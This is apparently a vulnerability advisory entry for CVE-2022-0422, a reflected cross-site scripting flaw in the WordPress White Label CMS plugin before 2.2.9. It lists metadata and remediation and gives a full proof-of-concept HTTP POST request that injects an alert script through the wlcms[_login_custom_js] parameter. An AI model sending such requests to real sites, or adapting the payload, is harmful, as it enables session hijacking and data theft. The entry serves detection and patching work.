| Title | WordPress White Label CMS <2.2.9 - Cross-Site Scripting |
|---|---|
| Author | random-robbie |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08413 |
| CVE ID | CVE-2022-0422 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve wordpress xss wp-plugin wpscan videousermanuals vuln |
WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
POST /wp-login.php?wlcms-action=preview HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0422.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0422.pcap
N/AN/A